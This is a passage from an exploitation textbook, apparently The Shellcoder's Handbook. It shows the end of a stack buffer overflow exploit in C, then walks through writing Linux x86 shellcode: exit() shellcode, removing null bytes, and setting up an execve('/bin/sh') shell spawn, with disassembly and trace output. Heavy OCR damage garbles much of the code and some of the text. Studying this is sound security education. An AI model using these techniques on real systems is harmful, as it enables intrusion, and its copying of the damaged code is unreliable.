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int  main ( int  argc ,  char  *argv [ ] )  
{ 

char  *buf f ,  *ptr ;  

long *addr_ptr ,  addr ;  

int offset=offset_size, bsize=buffer_size;  

int  i ;  

 
i f  (argc > 1) bsize = atoi (argv[1] )  ;   

i f  (argc > 2) offset = atoi (argv[2]) ;  
 
addr = find_start() - offset;  
pt r  =  buf f ;  
addr_ptr  =  ( long * )  p t r ;  
for  ( i  =  0;  i  <  bs ize ;  i+=4)   

* (addr_ptr++)  =  addr;  
 

pt r  += 4;  

for  ( i  =  0 ,  i  <  s t r l e n ( s c ) ;  i++ )  
* (ptr++ )  =  sc [ i ] ;  

buf f [bs ize  -  1 ]  = ‘\0’;  

memcpy(buf f , ”BUF=”,4 ) ;  
putenv(buf f ) ;  
system("/bin/bash") ;   

}  

Conclusion 

In this chapter, you learned the basics of stack-based buffer overflows. 
Stack overflows take advantage of data stored in the slack. The goal is to 
inject instructions into a buffer and overwrite the return address. With 
the return address overwritten, you will have control of the program's 
execution flow. From here, you insert shellcode, or instructions to spawn 
a root shell, which is then executed. A large portion of the rest of this 
book covers more advanced stack overflow topics   
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CHAPTER 
3 

Shellcode 

Shellcode is defined as a set of instructions injected and then executed by 
an exploited program. Shellcode is used to directly manipulate registers 
and the function of a program, so it must be written in hexadecimal 
opcodes. You can-not inject shellcode written from a high-level 
language, and there are subtle nuances that will prevent shellcode from 
executing cleanly. This is what makes writing shellcode somewhat 
difficult, and also somewhat of a black art. In this chapter, we are going 
to lift the hood on shellcode and get you started writing your own. 

The term shellcode is derived from its original purpose—it was the 
specific portion of an exploit used to spawn a root shell. This is still the 
most common type of shellcode used, but many programmers have 
refined shellcode to do more, which we will cover in this chapter. As you 
have seen in Chapter 2, shell-code is placed into an input area, and then 
the program is tricked into executing the supplied shellcode. If you 
worked the examples in the previous chapter, you have already made 
use of shellcode that can exploit a program. 

Understanding shellcode and eventually writing your own is, for many 
reasons, an essential hacking skill. First and foremost, in order to 
determine that a vulnerability is indeed exploitable, you must first 
exploit it. This may seem like common sense, but quite a number of 
people out «sere are willing to state whether a vulnerability is exploitable 
or not without providing solid evidence. Even worse, sometimes a 
programmer claims a vulnerability is not exploitable when it really is 
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(usually because the original discoverer couldn’t figure out how to exploit 
it and assumed that because he or she couldn’t figure it out , no one else 
could). Additionally, software vendors will often release a notice of a 
vulnerability but not provide an exploit. In these cases, you may have to 
write your own shellcode for your exploit. 
 
Understanding System Calls 

We write shellcode because we want the target program to function in a 
manner other than what was intended by the designer. One way to 
manipulate program is to force it to make a system of syscall. Syscalls are 
an extremely powerful set of functions that will allow your to access 
operating system- specific functions such as getting input, producing 
output, exiting a process, and executing a binary file. Syscalls allow you to 
directly access the kernel, which gives you access to lower-level functions. 
Syscalls are the interface between protected kernel mule and user mode. 
Implementing a protected kernel mode, in theory, keeps user applications 
from interfering with or comprornising the OS. When a user mode 
program attempts to access kernel memory space, an access exception is 
generated, preventing the user mode program from directly accessing 
kernel memory space. Because some operating-specific services are 
required in order for programs to function, syscalls were implemented as 
an interface between regular user mode and kernel mode. 

There are two common methods of executing a syscall in Linux. You 
can use either the C library wrapper, libc, which works indirectly, or 
execute the syscall directly with assembly by loading the appropriate 
arguments into registers and then calling a software interrupt. Libc 
wrappers were created so that programs can continue to function 
normally if a syscall is changed and to pro-vide some very useful 
functions (such as our friend malloc). That said, most libc syscalls are 
very close representations of actual kernel system calls. 

System calls in Linux are accomplished via software interrupts and are 
called with the int 0x80 instruction. When int 0x80 is executed by a user 
mode program, the CPU switches into kernel mode and executes the 
syscall function. Linux differs from other Unix syscall calling methods in 
that it features a fastcall convention for system calls, which makes use of 
registers for higher performance. The process works as follows: 

1. The specific syscall function is loaded into EAX. 
2. Arguments to the syscall function are placed in other registers. 
3. The instruction i n t  0x80 is executed. 
4. The CPU switches to kernel mode. 
5. The syscall function is executed. 
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A specific integer value is associated with each syscall; this 
value must be placed in EAX. Each syscall can have a maximum 
of six arguments, which are inserted into EBX, ECX, EDX, ESI, 
EDI, and EPB, respectively. If more than the stock six arguments 
are required for the syscall, the arguments are passed via a data 
structure to the first argument. 

Now that you are familiar with how a syscall works from an 
assembly level, let's follow the steps, make a syscall in C, 
disassemble the compiled program, and see what the actual 
assembly instructions are. 

The most basic syscall is exit( ) . As expected, it terminates 
the current process. To create a simple C program that only 
starts up then exits,use the following code: 

 
main() 
{ 
 Exit(0); 
} 
 
Compile this program using the static option with gcc—this 

prevents dynamic linking, which will preserve our exit syscall. 
Gcc –static –o exit exit.c 

Next, disassemble the binary. 
[slap@0day root] gdb exit 
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) 
Copyright 2003 Free Software Foundation, Inc. 
GDB is free software, covered by the GNU General Public License, and you 
are welcome to change it and/or distribute copies of it under certain 
conditions. Type "show copying" to see the conditions. 
There is absolutely no warranty for GDB. Type "show warranty" for 
details 
This GDB was configured as "i386-redhat-linux-gnu"… 
(gdb) disas _exit 
Dump of assembler code for function _exit: 
0x0804d9bc <_exit+0>:   mov   0x4(%esp,1),%ebx 
0x0804d9c0 <_exit+4>:   mov   $0xfc,%eax 
0x0804d9c5 <_exit+9>:   int    $0x80 
0x0804d9c7 <_exit+11>:  mov   $0x1,%eax 
0x0804d9cc <_exit+16>:  int     $0x80 
0x0804d9ce <_exit+18>:  hlt 
0x0804d9cf <_exit+19>:  nop 
End of assembler dump. 
 
If you look at the dissembly for exit ,you can see that we 

have two syscalls. The value of the syscall to be called is stored 
in EAX in lines exit+4 and exit+11. 
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0x0804d9c0 <_exit+4>: mov  $0xfc,%eax 
0x0804d9c7 <_exit+11>: mov $0x1,%eax 
 
These correspond to syscall 252,exit_group(), and syscall 1, 

exit().We also have an instruction that loads the argument to 
our exit syscall into EBX.This argument was pushed onto the 
stack previously, and has a value of zero. 

0x0804d9bc <_exit+0>: mov 0x4(%esp,1),%ebx 

Finally, we have the two in 0x80 instructions, which switch the CPU 
over to kernel mode and make our syscalls happen. 

0x0804d9c5 <_exit+9>: int $0x80 
0x0804d9cc <_exit+16>: int $0x80 

There you have it , the assembly instructions that correspond to a 
simple syscall, exit(). 

 

Writing Shellcode for the exit() Syscall 
Essentially, you now have all the pieces you need to make exit() 
shellcode. We have written the desired syscall in C, compiled and 
disassembled the binary, and understand what the actual instructions do. 
The last remaining step is to clean up our shellcode, get hexadecimal 
opcodes from the assembly, and test our shellcode to make sure it works. 
Let's look at how we can do a little optimization and cleaning of our 
shellcode. 

We presently have seven instructions in our shellcode. We always 
want our shellcode to be as compact as possible to fit into small input 
areas, so let's do some trimming and optimization. Because our 
shellcode will be executed without having some other portion of code 
set up the arguments for it (in this case, getting the value to be placed in 
EBX from the stack), we will have to manually set this argument. We can 
easily do this by storing the value of 0 into EBX. Additionally, we really 
need only the exit()syscall for the purposes of our shellcode, so we 
can safely ignore the group_exit() syscall for the purposes of the same 
desired effect. For efficiency, we won't be adding instructions and get 
the same desired effect. For efficiency ,we won’t be adding group_exit() 
instructions. 

From a high level, our shellcode should 
1. Store the value of 0 into EBX 

2. Store the value of 1 into EAX 

3. Execute int 0x80 instruction to make the syscall  
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SHELLCODE SIZE                                                

You want to keep your shellcode as simple, or as compact, as 
possible. The smaller the shellcode, the more programs you 
can exploit with it. Remember, you will stuff shellcode into 
input areas. If you encounter a vulnerable input area that is n 
bytes long, you will need to fit all your shellcode into it, plus 
other instructions to call your shellcode, so the shellcode must 
be smaller than n. For this reason, whenever you write 
shellcode, you should always be conscious of size. 

 
Let's write these three steps in assembly. We can then get an ELF binary; 

from this file we can finally extract the opcodes. 
 
Section .text  

global _start  

_start: 
mov ebx,0  
mov eax,l  
in t 0x80 

Now we want to use the nasm assembler to create our object file, and then 
use the GNU linker to link object files: 
 
[slap@0day root] nasm -f elf exit_shellcode.asm  
[slap@0day root] ld -o exit_shellcode exit_shellcode.o 

Finally, we are ready to get our opcodes. In this example, we will use obj-
dump. The objdump utility is a simple tool that displays the contents of object 
files in human readable form. It also prints out the opcode nicely when dis-
playing contents of the object file, which makes it useful in designing 
shellcode. Run our e x i t _ s h e l l c o d e  program through objdump, like this: 

[slap@0day root] objdump -d exit_shellcode  

exi t_she l lcode:  f i l e  format e1f32-i386  

Disassembly of sect ion . t e x t :  

08048080 <.text>: 

8048080:  bb 00 00 00 00 mov $0x0,%ebx 

8048085:  b8 01 00 00 00 mov $0x1,%eax 

804808a:  cd 80   int $0x80 
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You can see the assembly instructions on the far right .To 
the left is our opcode. All you need to do is place the opcode into 
a character array and whip up a little C to execute the string. 
Here is one way the finished product can look (remember, if you 
don’t want to type this all out, visit the Shellcoder’s Handbook 
Web site at www.wiley.com/compbooks/koziol). 

char shellcode[]=”\xbb\x00\x00\x00\x00” 
                “\xb8\x01\x00\x00\x00” 
                “\xcd\x80”; 

int main() 
{ 
 int *ret; 

ret = (int *)&ret+2; 
(*ret) = (int)shellcode; 

} 

Now, compile the program and test the shellcode. 

[slap@0day slap] gcc –o wack wack.c 
[slap@0day slap] ./wack 
[slap@0day slap] 

It looks like the program exited normally. But how can we be 
sure it was actually our shellcode? You can use the system call 
tracer (strace) to print out every system call a particular program 
makes. Here is s trace in action: 

[slap@0day slap] strace ./wack 
execve(“./wack”,[“./wack”],[/* 35 vars */]) = 0 uname({sys=”Linux”,  
node=”0day.jackkoziol.com”,…})=0 
brk(0) = 0x80494d8 
old_mmap(NULL,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_AN
ONYMOUS,-1,0)=0x40016000 
open(“/etc/ld.so.preload”, O_RDONLY) =-1 ENOENT (No such file or 
directory) 
open(“etc/ld.so.cache”,O_RDONLY) = 3 
fstat64(3, {st_mode=S_IFREG|0644, st_size=78416, …}) = 0 
old_map(NULL,78416,PROT_READ,MAP_PRIVATE,3,0) = 0x40017000 
close(3) = 0 
open(“/lib/tls/libc.so.6”, O_RDONLY) = 3 
read(3, 
“\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0’V\1B4\0”… , 
512) = 512 
fstat64(3,{st_mode=S_IFREG|0755, st_size=1531064, …} ) = 0 
old_mmap(0x42000000,1257224, PROT_READ|PROT_EXEC, 
MAP_PRIVATE,3,0) = 0x42000000 
old_mmap(0x4212e000, 12288, PROT_READ|PROT_WRITE, 
MAP_PRIVATE|MAP_FIXED, 3, 0x12e000) = 0x4212e000 
old_mmap(0x42131000,7944, PROT_READ|PROT_WRITE, 
 

team 509's presents

http://www.wiley.com/compbooks/koziol


Shellcode 41 
 
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1 ,0) = 0x42131000 
Close(3) = 0 
Set_thread_area( {entry_number:-1 -> 6, base_addr:0x400169e0, 
Limit:1048575, seg_32bit:1, contents:0,read_exec_only:0, 
Limit_in_page:1,seg_not_present:0,useable:1} ) = 0 
Munmap(0x40017000, 78416) = 0 
Exit(0) = ? 

As you can see, the last line is our ex i t (0) syscall. If you'd like, 
go back and modify the shellcode to execute the exit_group() 
syscall. 

char  she l l code [ )  =  "\xbb\x00\x00\x00\x00” 
"\xb8\xfc\x00\x00\x00” 
"\xcd\x80" ;  

in t  main ( )   
{  

i n t  * r e t ;  
r e t  =  ( i n t  * ) & r e t  +  2 ;  
(*re t)  = ( in t )shel lcode; 

} 

This exit_group () shellcode will have the same effect. Notice we 
changed the second opcode on the second line from \x01 (1) to \xfc (252), 
which will call exit_group () with the same arguments. Recompile the 
program and run s trace again; you will see the new syscall. 

[ s l a p @ 0 d a y  s l a p ]  s t r a c e  . / w a c k  
e xe c v e ( " . / w a c k " ,  [ " . / w ac k " ] ,  [ / *  3 4  v a r s  * / ] )  =  0  
u n a m e ( { s y s= " L i n u x " ,  n o d e = " 0 d a y . j a c k k o z i o l . c o m " ,  . . . } )  =  0  
b r k ( 0 )  =  0 x 8 0 4 9 4 d 8  
o l d _ m m a p ( N U L L ,  4 0 9 6 ,  P R O T _ R E AD | P R O T _ W R I T E ,  
M A P _ P R I V A T E | M A P _ A N O N Y M O U S ,  - 1 ,  0 )  =  0 x 4 0 0 1 6 0 0 0  
o p e n ( " / e t c / l d . s o . p r e l o ad " ,  O _ R D O N L Y )  =  - 1  E N O E N T  
( N o  s u c h  f i l e  o r  d i r e c t o r y )  
o p e n ( " / e t c / l d . s o . c a c h e " ,  O _ R D O N L Y )  =  3  
f s t a t 6 4 ( 3 ,  { s t _ m o de = S _ I F R E G | 0 6 4 4 ,  s t _ s i z e = 78 4 1 6 ,  . . . } )  =  0  
o l d _ m m a p ( N U L L , 7 8 4 1 6 , P R O T _ R E A D , M A P _ P R I V A T E , 3 , 0 )  =  0 x 4 0 0 1 7 0 0 0  
c l o s e ( 3 )  =  0  
o p e n ( " / l i b / t l s / l i b c . s o . 6 " ,  O _ R D O N L Y )  =  3  
r e a d ( 3 , " \ 1 7 7 E L F \ 1 \ 1 \ 1 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 3 \ 0 \ 3 \ 0 \ 1 \ 0 \ 0 \ 0 ' V \ l B 4 \
0 " … ,  5 1 2 )  =  5 1 2  

f s t a t 6 4 ( 3 ,  { s t _ m o de = S _ I F R E G | 0 7 5 5 ,  s t _ s i z e = 15 3 1 0 6 4 ,  . . . } )  =  0  
o l d _ m m a p ( 0 x 4 2 0 0 0 0 0 0 ,  1 2 5 7 2 2 4 ,  P R O T _ R E A D I P R O T _ EX EC ,  
M A P _ P R I V A T E ,  3 ,  0 )  0 x 4 2 0 0 0 0 0 0  
o l d _ m m a p ( 0 x 4 2 1 2 e 0 0 0 ,  1 2 2 8 8 ,  P R O T _ R E A D | P R O T _ W R I T E ,  
M A P _ P R I V A T E | M A P _ F I X E D ,  3 ,  0 x 1 2 e 0 0 0 )  =  O x 4 2 1 2 e 0 0 0  
o l d _ m n n a p  ( 0 x 4 2 1 3 1 0 0 0 ,  7 9 4 4 ,  P R O T _ R E A D | P R O T _ W R I T E ,  
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M A P _ P R I V A T E | M A P _ F I X E D | M A P _ A N O N Y M O U S ,  - 1  , 0 )  =  0 x 4 2 1 3 1 0 0 0  
c l o s e ( 3 )  =  0  
s e t _ t h r e a d _ a r e a (  { e n t r y _ n u m be r : - 1  - >  6 ,  b a se _ a d d r : 0 x 4 0 0 1 6 9 e 0 ,  
l i m i t : 1 0 4 8 5 7 5 ,  s e g _ 3 2 b i t : 1 ,  c o n t e n t s : 0 ,  r e a d _ e xe c _ o n l y : 0 ,  
l i m i t _ i n _ p a g e s : 1 ,  
s e g _ n o t _ p r e s e n t : 0 ,  u s e a b l e : 1 }  )  =  0  
m u n m a p ( 0 x 4 0 0 1 7 0 0 0 , 7 8 4 1 6 )  =  0  
e x i t _ g r o u p ( 0 )  =  ?  
 
You have now worked through one  o f  the  most  bas ic  
she l lcoding examples .  You can see  that  she l lcode  actual ly  
works,  but  unfortunate ly  , the  she l lcode you have created 
in  th is  sect ion is  l ike ly  unusable  in a  rea l -wor ld  explo i t .  
The  next  sect ion wi l l  explore  how to  f ix  our she l lcode so 
that  i t  can be in jected into  an input  area.  

Injectable Shellcode 
 
The  most l ike ly  p lace you wi l l  be  p lac ing shel lcode is  into  a  
buf fer .  Even more l ike ly ,  th is  buf fer  wi l l  be  a  c iaracter  
array.  I f  you go  back and look at  our she l lcode 
\ x b b \ x O O \ x O O \ x O O \ x O O \ x b 8 \ x 0 1 \ x 0 0 \ x 0 0 \ x 0 0 \ x c d \ x 8 0  

you  w i l l  no t i ce  tha t  the re  are  some  nu l l s  ( \x00 )  p re sen t .  These  
nu l l s  w i l l  cause  she l l code  t o  f a i l  when in j ec ted  in to  a  charac te r  
a r ray  because  the  nu l l  charac te r  i s  used  t o  t e rmina te  s t r ings .  We  
need  to  ge t  a  l i t t l e  c rea t i ve  and  f ind  ways  to  change  our  nu l l s  in to  
non-nu l l  opcodes .  There  a re  two  popula r  me thods  o f  do ing  so .  The  
f i r s t  i s  t o  s imp ly  rep lace  assemb ly  ins t ruc t ions  tha t  c rea te  nu l l s  
w i th  o the r  ins t ruc t ions  tha t  do  no t .  The  se cond  method  i s  a  l i t t l e  
more  comp l i ca ted—i t  invo lve s  add ing  nu l l s  a t  runt ime  w i th  
ins t ruc t i ons  tha t  do  not  c rea te  nu l l s .  Th i s  me thod  i s  a l so  t r i cky  
because  we  w i l l  have  to  know the  exac t  address  in  memory  whe re  
our  she l l code  l i e s .  F ind ing  the  exac t  l o ca t i on  o f  our  she l l code  
invo l ves  us ing  ye t  ano the r  t r i ck ,  so  we  w i l l  save  th i s  se cond  
me thod  f o r  the  nex t ,  more  advanced ,  example .  

We ' l l  use  the  f i r s t  me thod  o f  r emov ing  nu l l s .  Go  back  and  look  a t  
our  th ree  assemb ly  ins t ruc t i ons  and  the  co r respond ing  opcodes :  

m o v  e b x , 0   \ x b b \ x 0 0 \ x 0 0 \ x 0 0 \ x 0 0  
m o v  e a x , l  \ x b 8 \ x 0 1 \ x 0 0 \ x o 0 \ x 0 0  
i n t  0 x 8 0  \ x c d \ x 8 0  

The  f i r s t  two  ins t ruc t i ons  are  respons ib le  f o r  c rea t ing  the  nu l l s .  I f  
you  remember  assemb ly ,  the  Exc lus i ve  OR ( xo r )  ins t ruc t i on  w i l l  
r e turn  ze ro  i f  bo th  ope rands  a re  equa l .  Th i s  means  tha t  i f  we  use  
the  Exc lus i ve  OR ins t ruc t i on  on  two  ope rands  tha t  we  know are  
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equa l ,  we  can  ge t  the  va lue  o f  0  w i thout  hav ing  t o  use  a  va lue  o f  0  
in  an  ins t ruc t ion .  Consequent l y  ,we  won ’ t  have  t o  have  a  nu l l  
opcode .  I ns tead  o f  us ing  the  mov  ins t ruc t i on  t o  se t  the  va lue  o f  
EBX to  0 ,  l e t ’ s  use  the  Exc lus ive  OR (xor ) ins t ruc t i on .  So ,  our  f i r s t  
ins t ruc t i on  

m o v  e b x , 0  

becomes  

x o r  e b x ,  e bx  

One  o f  the  ins t ruc t ions  has  hope fu l l y  been  removed  o f  
nu l l s—we ’ l l  t e s t  i t  shor t l y .  

You  may  be  wonder ing  why  we  have  nu l l s  in  our  second  
ins t ruc t i on .  We  d idn ' t  pu t  a  ze ro  va lue  in to  the  reg i s te r ,  so  why  do  
we  have  nu l l s?  Remember ,  we  a re  us ing  a  32-b i t  r e g i s te r  in  th is  
ins t ruc t i on .  We  a re  mov ing  on ly  one  by te  in to  the  re g i s te r ,  bu t  the  
EAX reg i s te r  has  room fo r  f our .  The  res t  o f  the  reg i s te r  i s  go ing  t o  
be  f i l l ed  w i th  nu l l s  to  compensa te .  

We  can  ge t  a round th i s  prob lem i f  we  remember  that  each  32-b i t  
r e g i s te r  i s  b roken  up  in to  two  16 -b i t  "a reas " ;  the  f i r s t -16  b i t  a rea  
can  be  accessed  w i th  the  AX  reg i s te r .  Add i t i ona l l y ,  the  16 -b i t  AX 
reg i s te r  can  be  b roken  down fur the r  in to  the  AL  and  AR reg i s te rs .  
I f  you  want  on l y  the  f i r s t  8  b i t s ,  you  can  use  the  AL  reg i s te r .  Our  
b inary  va lue  o f  1  w i l l  take  up  on ly  8  b i t s ,  so  we  can  f i t  our  va lue  
in to  th i s  reg i s te r  and  avo id  EAX ge t t ing  f i l l ed  up  w i th  nu l l s .  To  do  
th i s ,  we  change  our  o r i g ina l  ins t ruc t ion  

mov  eax ,1  

t o  one  that  uses  AL  ins tead  o f  EAX:   

mov  a l , l  

Now we  shou ld  have  taken  ca re  o f  a l l  the  nu l l s .  Le t ' s  ve r i f y  tha t  
we  have  by  wr i t ing  our  new  assemb ly  ins t ruc t i ons  and  see ing  i f  we  
have  any  nu l l  opcodes .  

Section .text  

   global _start  

_start: 

   xor ebx,ebx 

   mov al,1 

   int 0x80 
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Pu t  i t  t oge the r  and  d i sassemb le  us ing  ob jdump.  

[ s l ap@0day  roo t ]  nasm – f  e l f  ex i t _ she l l code .asm 
[ s l ap@0day  roo t ]  l d  –o  ex i t _ she l l code  ex i t _ she l l code .o  
[ s l ap@0day  roo t ]  ob jdump –d  ex i t _she l l cod  

ex i t _ she l l code :  f i l e  f o rmat  e l f 32- i386  

D isassembly  o f  sec t i on  . t e x t :  

08048080  < . t ex t> :  
8048080:  31  db     xo r  %ebx ,  %ebx  
8048085:  b0  01     mov  $0x1 ,  %a1 
804808a :  cd  80     in t  $0x80  

A l l  our  nu l l  opcodes  have  been  removed ,  and  we  have  
s i gn i f i cant l y  reduced  the  s i ze  o f  our  she l l code .  Now you  have  
fu l l y  work ing ,  and  more  impor tan t ly  in j ec tab le  she l l code .  

Spawning a Shell 
 

Learning to write simple exit () shellcode is in reality just a learning exercise. In practice, 
you will find little use for standalone e x i t  () shellcode. If you want to force a process 
that has a vulnerable input area to exit, most likely you can simply fill up the input area 
with illegal instructions. This will cause the program to crash, which has the same effect 
as injecting exit () shellcode. This doesn't mean your hard work was wasted on a futile 
exercise. You can reuse your exit shellcode in conjunction with other shellcode to do 
something worthwhile, and then force the process to close cleanly, which can be of value 
in certain situations. 

This section of the chapter will be dedicated to doing something more fun—spawning 
a root shell that can be used to compromise your target computer. Just like in the 
previous section, we will create this shellcode from scratch for a Linux OS running on 
IA32. We will follow five steps to shellcode success: 

1. Write desired shellcode in a high-level language. 
2. Compile and disassemble the high-level shellcode program. 
3. Analyze how the program works from an assembly level. 
4. Clean up the assembly to make it smaller and injectable. 
5. Extract opcodes and create shellcode. 

 

The first step is to create a simple C program to spawn our shell. The easiest and 
fastest method of creating a shell is to create a new process. A process in Linux can 
be created in one of two ways: We can create it via an existing process and replace  
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the  p rog ram tha t  i s  a l ready  runn ing ,  o r  we  can  have  the  ex i s t ing  
p rocess  make  a  copy  o f  i t se l f  and  run  the  new  prog ram in  i t s  
p lace .  The  ke rne l  t akes  care  o f  do ing  these  th ings  f o r  us—we  can  
l e t  the  ke rne l  know what  we  want  t o  do  by  i ssu ing  fo rk ( )  and  
execve ( )  s ys tem ca l l s .  Us ing  fo rk ( )  and  execve ( )  t oge the r  c rea tes  a  
copy  o f  the  ex i s t ing  process ,  wh i l e  execve  ( )  s ingu la r l y  executes  
ano the r  p rog ram in  p lace  o f  the  ex i s t ing  one .  
Le t ' s  keep  i t  as  s imple  as  poss ib l e  and  use  execve  by  i t se l f .  What  
f o l l ows  i s  the  execve  ca l l  in  a  s imp le  C  p rog ram:  

#include <stdio.h> 
int main() 
{ 

char *happy[2); 
happy[0] = "/bin/sh"; 
happy[1] = NULL; 
execve (happy [0] , happy, NULL) ; 

} 

We should compile and execute this program to make sure we get the desired effect.. 
 
[slap@0day root ]# gcc spawnshell.c -o spawnshell 
[slap@0day root ]#  ./spawnshell 
sh-2.05b# 

As you can see, our shell has been spawned. This isn't very interesting right now, 
but if this code were injected remotely and then executed, you could see how powerful 
this little program can be. Now, in order for our C program to be executed when 
placed into a vulnerable input area, the code must be translated into raw hexadecimal 
instructions. We can do this quite easily. First, you will need to recompile the 
shellcode using the - s t a t i c  option with gcc; again, this prevents dynamic linking 
which preserves our execve syscall. 

gcc - s t a t i c  -o  spawnshell spawnshe l l .c  

Now we want to disassemble the program, so that we can get to our opcode. The 
following output from objdump has been edited to save space—we will show only the 
relevant portions. 

080481do <main>;: 
80481d0: 55   push %ebp 
80481d1: 89 e5         mov %esp, %ebp 
80481d3: 83 ec 08        sub $0x8, %esp 
80481d6: 83 e4 f0        and $0xfffffff0, %esp 
80481d9: b8 00 00 00 00       mov $0x0, %eax 
80481de: 29 c4         sub %eax, %esp 
80481e0: c7 45 f8 88 ef 08 08       mov1 $0x808ef88, 0xfffffff8(%ebp) 
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80481e7 : c7  45  f c  00  00  00  00  mov l  $0x0 ,0x f f f f f f f c (%ebp )  
80481ee :83  e c  04    sub  $0x4 ,%esp  
80481 f1 :6a  00    push  $0x0  
80481 f3 :8d  45  f8    l e a  0x f f f f f f f 8 (%ebp ) ,%eax  
80481 f6 :50     push  %eax  
80481 f7 : f f  75  f8    push l  0x f f f f f f f 8 (%ebp )  
80481 fa :e8  f1  57  00  00   ca l l  804d9 f0  <__execve>  
80481 f f : 83  c4  10    add  $0x10 ,%esp  
8048202:c9     l e ave  
8048203:c3     r e t  
 
0804d9 f0  <__execve> :  
804d9 f0 :55     push  %ebp  
804d9 f1 :b8  00  00  00  00   mov  $0x0 ,  %eax  
804d9 f6 :89  e5    mov  %esp ,  %ebp  
804d9 f8 :85  c0    t e s t  %eax ,  %eax  
804d9 fa :57     push  %ed i  
804d9 fb :53     push  %ebx  
804d9 fc :8b  7d  08    mov  0x8 (%ebp ) ,  %ed i  
804d9 f f : 74  05    j e  804da06 <__execve+0x16>  
804da01:e8  f a  25  fb  f7   ca l l  0  <_ in i t -0x80480b4>  
804da06:8b  4d  0c    mov  0xc (%ebp ) ,  %ecx  
804da09:8b  55  10    mov  0x10 (%ebp ) ,  %edx  
804da0c :53     push  %ebx  
804da0d:89  fb    mov  %ed i ,  %ebx  
804da0 f :b8  0b  00  00  00   mov  $0xb ,  %eax  
804da14:cd  80    in t  $0x80  
804da16:5b     pop  %ebx  
804da17:3d  00  f0  f f  f f   cmp $0x f f f f f 000 ,  %eax  
804da1c :89  c3    mov  %eax ,  %ebx  
804da1e :77  06    j a  804da26 <__execve+0x36>  
804da20:89  d8    mov  %eax ,  %ebx  
804da22:5b     pop  %ebx  
804da23:5 f     pop  %ed i  
804da24:c9     l e ave  
804da25:c3     r e t  
804da26: f7  db    neg  %ebx  
804da28:e8  c f  ab  f f  f f   ca l l  80485 fc  <__e r rno_ l oca t i on>  
804da2d:89  18    mov  %ebx ,  (%eax )  
804da2 f :bb  f f  f f  f f  f f   mov  $0x f f f f f f f f ,  %ebx  
804da34:eb  ea    jmp 804da20 <__execve+0x30>  
804da36:90     nop  
804da37:90     nop  

 
As  you  can  see ,  the  execve  sysca l l  has  qu i te  an  in t im ida t ing  

l i s t  o f  ins t ruc t i ons  to  t rans la te  in to  she l l code .  Reach ing  the  po in t  
whe re  we  have  removed  a l l  the  nu l l s  and  compacted  the  she l l code  
w i l l  t ake  a  f a i r  amount  o f  t ime .  Le t ’ s  l e arn  more  about  the  execve  
sysca l l  t o  de te rmine  exac t l y  what  i s  go ing  on  he re .  A  good  p lace  
t o  s ta r t  i s  the  man page  f o r  e xecve .  The  f i r s t  two  paragraphs  o f  
the  man page  g i ve  up  va luab le  in fo rmat ion .  
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i n t  execve ( const  char  * f i l ename ,  char  *cons t  a rgv [ ] ,  char  * cons t  
envp [ ] ) ;  

 execve() executes the program pointed to by filename.    filename 
must be either a binary executable or a script starting with a line of the 
form "# ! interpreter [arg] ". In the latter case, the interpreter 
must be a valid pathname for an executable that is not itself a script, 
and which will be invoked as interpreter [arg] filename. 

 argv is an array of argument strings passed to the new program. envp 
is an array of strings, conventionally of the form key=value, which are 
passed as environment to the new program. Both argv and envp must 
be terminated by a null pointer. 

The man page tells us that we can safely assume that execve needs three 
arguments passed to it. From the previous ex i t () syscall example, we already 
know how to pass arguments to a syscall in Linux (load up to six of them into 
registers). The man page also tells us that these three arguments must all be 
pointers. The first argument is a pointer to a string that is the name of binary we 
want to execute. The second is a pointer to the arguments array, which in our 
simplified case is the name of the program to be executed (bin/sh). The third and 
final argument is a pointer to the environment array, which we can leave at null 
because we do not need to pass this data in order to execute the syscall. 

NOTE Because we are talking about passing pointers to strings, we need to 
remember to null terminate all the strings we pass. 

For this syscall, we need to place data into four registers; on, register will 
hold the execve syscall value (binary 11 or hex 0x0b) and the other three will 
hold our arguments to the syscall. Once we have the arguments correctly 
placed and in legal format, we can make the actual syscall and switch to 
kernel mode. Using what you learned from the man page, you should have 
a better grasp of what is going on in our disassembly. 

Starting with the seventh instruction in main (), the address of the string 
/bin/sh is copied into memory. Later, an instruction will copy this data into 
a register to be used as an argument for our execve syscall. 
 

8 0 4 8 l e 0 :  m o v l  $ 0 x 8 0 8 e f 8 8 , O x f f f f f f f 8 ( % e b p )  

Next, the null value is copied into an adjacent memory space. Again, this 
null value will be copied into a register and used in our syscall. 
 

8 0 4 8 1 e 7 :  m o v l  $ 0 x O , O x f f f f f f f c ( % e b p )  
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Now the arguments are pushed onto the stack so that they will be available after 
we call execve. The first argument to be pushed is null. 

80481f1: push $0x0 

The next argument to be pushed is the address of our aguments array(happy[]).  
First, the address is placed into EAX, and then the address value in EAX is pushed onto 
the stack. 

80481f3: lea Oxfffffff8(%ebp),%eax 

80481f6: push %eax 

Finally, we push the address of the /bin/ sh string onto the stack. 

80481f7: pushl Oxfffffff8(%ebp) 

Now the execve function is called. 

80481fa: call 804d9f0 <execve> 

The execve function's purpose is to set up the registers and then execute the 
interrupt. For optimization purposes that are not related to functional shellcode, the 
C function gets translated into assembly in a somewhat convoluted manner, looking 
at it from a low-level perspective. Let's isolate exactly what is important to us and 
leave the rest behind. 
The first instructions of importance load the address of the /b in/  sh string into 
EBX. 

804d9fc:    mov     0x8(%ebp), %edi 
804da0d:    mov     %edi, %ebx 

Next, load the address of our argument array into ECX. 

804da06: mov 0xc(%ebp),%ecx 

Then the address of the null is placed into EDX. 

804da09: mov 0x10(%ebp),%edx 
 

The  f ina l  r eg i s te r  t o  be  l oaded  i s  EAX.  The  sysca l l  number  
f o r  execve ,  11 ,  i s  p laced  in to  EAX.  

804da0f: mov  $0xb, %eax 

F ina l l y ,  e ve ry th ing  i s  r eady .  The  in t  0x80  ins t ruc t ion  i s  
ca l l ed ,  sw i t ch ing  t o  ke rne l  mode ,  and  our  sysca l l  execute s .  

804da14: int  $0x80 
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Now that you understand the theory behind an execve syscall from 
an assembly level, and have disassembled a C program, we are ready to 
create our shellcode. From the exit shellcode example, we already know 
that we’ll have several problems with this code in the real world. 

NOTE Rather than build faulty shellcode and then fix it as we did in the last example, we 
will simply do it right the first time. If you want additional shellcoding practice, feel 
free to write up the non-injectable shellcode first. 

